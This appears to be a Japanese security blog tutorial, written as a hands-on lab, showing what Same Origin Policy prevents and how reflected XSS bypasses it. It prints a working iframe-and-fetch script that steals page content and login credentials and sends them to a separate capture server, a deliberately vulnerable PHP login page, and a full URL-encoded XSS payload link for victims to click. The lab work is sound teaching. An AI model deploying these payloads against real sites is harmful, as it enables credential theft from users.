kuzushikiのぺーじ

セキュリティに関することを書きたいですね

GitHub Twitter

もしSOPがなかったら

はじめに

本記事は第4回 初心者のためのセキュリティ勉強会での発表と同じ内容になります。

勉強会にて「ハンズオンがやりたい!」という意見があったので,発表中に行ったデモをハンズオン形式で公開することにしました。 興味のある方はトライしてみてください!


SOPとは?

Same Origin Policy (同一オリジンポリシー)の略で,異なるオリジンへのアクセスに制限がかかる,というものです。 Webブラウザに標準搭載されているセキュリティ機構になります。

ここでオリジンは,スキーム・ホスト名・ポート番号の組み合わせを意味します。

このページを例に取ると,

https://kuzushiki.github.io/post/sop/note/
  • https: スキーム
  • kuzushiki.github.io: ホスト名

となります。 (ポート番号はデフォルトの値なので省略されています)


どんな制限がかかるのか?

アクセスしたページにて以下のコードが実行される場合を考えます。 iframeタグによるページの埋め込みは可能ですが,埋め込まれたページの要素にアクセスすることができません。

<iframe onload="getTitle(this)" src=[異なるオリジン] >
</iframe>
<script>
    function getTitle(elm){
        alert(elm.contentWindow.document.title); //SOPにより実行されない
    }
</script>

実際にChromeで試した結果は以下の通りです。

左:通常のブラウザ 右:SOPを無効にしたブラウザ

通常のブラウザではアラートが出ずにエラーが表示されますが, SOPを無効にしたブラウザではアラートが出ていることがわかります。


本題

それでは本題に入っていきます。もしSOPがなかったら 、どのような脅威が発生するのでしょうか? ハンズオンで確認してみましょう!

ハンズオンはこちら


ハンズオン環境について

  1. app (http://localhost:8001)

通常のサーバ。ログイン機能があり、ログインするとなにかしら大事な情報が得られる、という設定です。

  1. evil_app (http://localhost:8002)

攻撃者の罠サーバ。appユーザのアカウント情報や秘密情報を窃取しcaptureサーバに送信します。

  1. capture (http://localhost:8003)

攻撃者のサーバからの通信を待ち受けるサーバ。ここにappユーザに関する情報が送られます。


解説

ここからはハンズオンの解説になります。

まずはSOPを有効にしたブラウザでappの動作を確認します。 http://localhost:8001にアクセスすると,ログイン画面が確認できます。

認証情報(ID: hoge PW: hoge)を使ってログインしてみます。するとひみつのぺーじに遷移し,hogeさんの秘密を知ることができます。

ログアウトをクリックするとログアウトします。

それではSOPを無効にしたブラウザで攻撃者のサーバであるevil_appにアクセスします。 evil_appのソースは以下の通りです。

<body>
    <iframe onload="getContent(this)" src=http://localhost:8001 style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999; background-color:#FFFFFF;">
    </iframe>
    <script>
        /*読み込みが発生したタイミングでコンテンツを窃取*/
        function getContent(elm){
            let title = elm.contentWindow.document.title;
            let body = elm.contentWindow.document.body.innerHTML;
            fetch("http://localhost:8003?content=" + encodeURIComponent(title + ":" + body));

            /*入力フォームがあったら送信時の入力値を窃取*/
            let form = elm.contentWindow.document.forms[0];
            if (form != null) {
                form.addEventListener("submit", function(){
                    let inputs = "";
                    for (let i = 0; i < this.length; i++) {
                        inputs += this[i].name + ":" + this[i].value + ";";
                    }
                    fetch("http://localhost:8003?input=" + encodeURIComponent(inputs));
                });   
            }
        }
    </script>
</body>

iframeタグにより異なるオリジンであるappを読み込みます。 読み込みが発生したタイミングでtitleおよびbodyタグの内容を取得しcaptureサーバに送信しようとします。 さらにformタグが見つかった場合,addEventListenerを用いてフォーム送信時の入力値も取得し,同様に送信しようとします。 http://localhost:8002にアクセスすると,さきほどのログイン画面が表示されると同時にdocker-composeを実行したコンソールにcaptureのログが表示されます。

?content=以降の部分をCyberChefなどを用いてURLデコードすると,appのコンテンツが送信されていることがわかります。

フォームに認証情報を入力してログインしてみましょう。再びcaptureのログが表示されるはずです。

デコードしてみると,認証情報やログイン後ページの秘密情報が得られました。

以上からわかるように,SOPが無効な場合はappのユーザにevil_appのURLを使わせることで,ユーザの機密情報を窃取することができてしまいます。

次に,SOPが有効になっているブラウザでevil_appにアクセスしてみましょう。 どうやらアクセスしてもcaptureログが表示されないようです。ブラウザのデベロッパーコンソールを確認してみると,以下のエラーが発生していることがわかります。

Uncaught DOMException: Blocked a frame with origin "http://localhost:8002" from accessing a cross-origin frame.
    at getContent (http://localhost:8002/:7:43)
    at HTMLIFrameElement.onload (http://localhost:8002/:2:241)

SOPにより異なるオリジンへのアクセスに制限がかり,ユーザの機密情報を手に入れることができなくなります。 通常SOPが無効になることはないため,このような攻撃については考えなくて良いですね!

……本当にそうでしょうか? appのログイン画面のソースをよく見てみましょう。何か脆弱性はないでしょうか?

<?php
session_start();
$err = "";
if (isset($_GET['id']) && $_GET['id'] !== "") {
    if ($_GET['id'] === "hoge") {
        if ($_GET['pw'] === "hoge") {
            $_SESSION['id'] = $_GET['id'];
            header('Location: /index.php');
            exit;
        } else {
            $err = "パスワードが違います!";
        } 
    } else {
        $err =  $_GET['id'] . "は無効なIDです!";
    }
}
?>
<html>
    <head><title>ログイン</title></head>
    <body>
        <form name="form1" action="login.php" method="GET">
            ID: <input type="text" name="id"><br>
            PW: <input type="password" name="pw"><br>
            <input type="submit" value="送信">
        </form>
        <p><?= $err ?></p>
    </body>
</html>

実はエラーメッセージにクロスサイトスクリプティング(XSS)の脆弱性があります。 hoge以外のIDを入力すると,$_GET['id'] . "は無効なIDです!"というエラーメッセージが出力されるのですが, ユーザの入力値である$_GET['id'] をエスケープせずに出力するため,スクリプトを注入することができます。

試しにIDの部分に<script>alert(1)</script>を入力してみましょう。 アラートが表示されます。

スクリプトを注入されると何がまずいのでしょうか?

はじめにSOP異なるオリジンへのアクセスに制限がかかるものだと説明しました。 app自体にevil_appのような悪意のあるスクリプトを注入した場合,同じオリジンからのアクセスになるため,SOPによる制限がかからなくなります。 よってXSSを利用することでSOPが無効の場合と同様の攻撃が可能になります。

また,このページではログイン情報をGETメソッドで送信しているため,getパラメータを付与したURLにappユーザを誘導することにより,注入したスクリプトをユーザのブラウザで実行させることができます。 以下のURLをappのユーザに踏ませましょう。

http://localhost:8001/login.php?id=%3Ciframe+onload%3D%22getContent%28this%29%22+src%3Dhttp%3A%2F%2Flocalhost%3A8001+style%3D%22position%3Afixed%3B+top%3A0%3B+left%3A0%3B+bottom%3A0%3B+right%3A0%3B+width%3A100%25%3B+height%3A100%25%3B+border%3Anone%3B+margin%3A0%3B+padding%3A0%3B+overflow%3Ahidden%3B+z-index%3A999999%3B+background-color%3A%23FFFFFF%3B%22%3E+++++%3C%2Fiframe%3E+++++%3Cscript%3E+++++++++%2F*%E8%AA%AD%E3%81%BF%E8%BE%BC%E3%81%BF%E3%81%8C%E7%99%BA%E7%94%9F%E3%81%97%E3%81%9F%E3%82%BF%E3%82%A4%E3%83%9F%E3%83%B3%E3%82%B0%E3%81%A7%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E3%82%92%E7%AA%83%E5%8F%96*%2F+++++++++function+getContent%28elm%29%7B+++++++++++++let+title+%3D+elm.contentWindow.document.title%3B+++++++++++++let+body+%3D+elm.contentWindow.document.body.innerHTML%3B+++++++++++++fetch%28%22http%3A%2F%2Flocalhost%3A8003%3Fcontent%3D%22+%2B+encodeURIComponent%28title+%2B+%22%3A%22+%2B+body%29%29%3B++++++++++++++%2F*%E5%85%A5%E5%8A%9B%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0%E3%81%8C%E3%81%82%E3%81%A3%E3%81%9F%E3%82%89%E9%80%81%E4%BF%A1%E6%99%82%E3%81%AE%E5%85%A5%E5%8A%9B%E5%80%A4%E3%82%92%E7%AA%83%E5%8F%96*%2F+++++++++++++let+form+%3D+elm.contentWindow.document.forms%5B0%5D%3B+++++++++++++if+%28form+%21%3D+null%29+%7B+++++++++++++++++form.addEventListener%28%22submit%22%2C+function%28%29%7B+++++++++++++++++++++let+inputs+%3D+%22%22%3B+++++++++++++++++++++for+%28let+i+%3D+0%3B+i+%3C+this.length%3B+i%2B%2B%29+%7B+++++++++++++++++++++++++inputs+%2B%3D+this%5Bi%5D.name+%2B+%22%3A%22+%2B+this%5Bi%5D.value+%2B+%22%3B%22%3B+++++++++++++++++++++%7D+++++++++++++++++++++fetch%28%22http%3A%2F%2Flocalhost%3A8003%3Finput%3D%22+%2B+encodeURIComponent%28inputs%29%29%3B+++++++++++++++++%7D%29%3B++++++++++++++++%7D+++++++++%7D+++++%3C%2Fscript%3E&pw=

一見長くて複雑そうに見えますが,以下の手順で簡単に作成できます。

  1. evil_appのソースの<iframe>から</script>までをコピーします。
  2. IDに入力して送信します。
  3. アドレスバーに表示されるURLをコピーして貼り付けます。

このURLに誘導されたユーザがログインをすると,SOP無効時と同様にユーザの認証情報やログイン後ページの情報が窃取されてしまいます。

以上でハンズオンは終わりです。お疲れさまでした!


まとめ

デフォルトで有効になっている機能でありあまり意識することはないかもしれないですが,ハンズオンを通してSOPが大事な機能であることを確認しました。 クロスサイトスクリプティングの脆弱性が存在した場合,同一オリジンのページに任意のスクリプトを注入することでSOPを回避できるので注意が必要です。